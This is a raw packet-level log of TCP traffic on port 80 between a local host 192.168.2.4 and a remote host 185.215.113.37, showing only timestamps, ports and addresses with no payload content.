Oct 12, 2024 13:17:28.591766119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591766119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591768980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591820002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591824055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591873884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591908932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591919899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591919899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591959000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592006922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592006922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592009068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592041969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592076063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592086077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592086077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592108011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592140913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592149973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592149973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592174053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592207909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592223883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592223883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592241049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592276096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592294931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592294931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592308044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592341900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592358112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592358112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592381001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592416048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592427969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592427969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592448950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592480898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592494965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592494965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592514038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592549086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592561007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592561007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592581987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592619896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592628956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592628956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592650890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592685938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592699051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592699051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592720985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592753887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592768908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592768908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592787027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592819929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592835903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592835903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592853069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592881918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592900991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592900991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592916012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592947006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592948914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.592977047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.592979908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593015909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593018055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593018055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593049049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593074083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593082905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593116045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593127966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593127966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593149900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593183041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593197107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593197107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593216896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593246937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593249083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593261957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593283892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593314886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593332052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593332052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593348026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593379974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593394995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593394995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593415976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593444109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593461990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593461990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593477011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593512058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.593523979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593523979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.593647957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.632106066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.637538910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.857661963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.857707977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.857739925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.857743979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.857765913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.857805014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.857810020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.857862949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.857893944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.857913971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.857914925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.857949972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.857985020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.857985020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858006001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858059883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858103037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858103037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858110905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858160973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858171940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858196020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858217955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858232975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858267069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858277082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858278036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858309031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858319998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858360052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858411074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858417034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858444929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858479023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858490944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858490944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858513117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858545065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858556986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858556986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858580112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858606100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858613968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858649015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858656883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858656883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858685970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858720064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858730078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858730078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858752966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858787060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858798981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858798981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858819962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858844042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858854055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858874083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858890057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858908892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858923912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858957052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.858969927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858969927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.858990908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859025002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859036922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859036922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859060049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859092951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859106064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859106064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859126091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859158039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859164000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859164000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859193087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859213114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859225988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859246969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859260082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859285116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859292984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859329939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859343052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859343052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859364033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859388113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859428883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859428883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859463930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859483004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859497070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859533072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859544039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859544039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859566927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859601021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859601021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859625101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859635115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859652996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859671116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859687090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859704971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.859750986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.859750986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.861629009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.861721039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.861722946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.861777067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.861885071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.861893892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.861920118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.861954927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.861957073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.861958027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862006903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862041950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862047911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862047911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862075090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862117052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862117052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862127066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862159967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862194061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862205029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862205029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862229109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862272024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862272024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862291098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862344027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862349987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862381935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862415075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862418890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862418890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862449884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862457037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862483978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862500906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862518072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862540007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862552881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862565041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862587929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862613916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862622023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862654924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862663984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862663984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862690926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862723112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862735033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862735033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862756014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862803936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862803936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862864017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862898111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862925053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862931013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862937927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.862972021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.862989902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863004923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863029957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863038063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863071918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863080025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863080025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863105059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863138914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863147974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863147974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863173008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863207102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863215923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863215923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863240004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863274097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863281965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863281965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863307953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863341093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863357067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863357067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863374949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863395929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863425970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863449097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863481998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863517046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863523960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863523960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863550901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863585949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863594055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863594055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863619089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863640070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863652945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863677979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863688946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863691092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863724947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863758087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863768101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863768101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863791943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863799095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863823891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863857985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863867044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863867044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863894939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863924980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.863940954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863940954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.863977909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.952013016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952078104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952131987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952164888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.952167988 CEST	49730	80	192.168.2.4	185.215.113.37
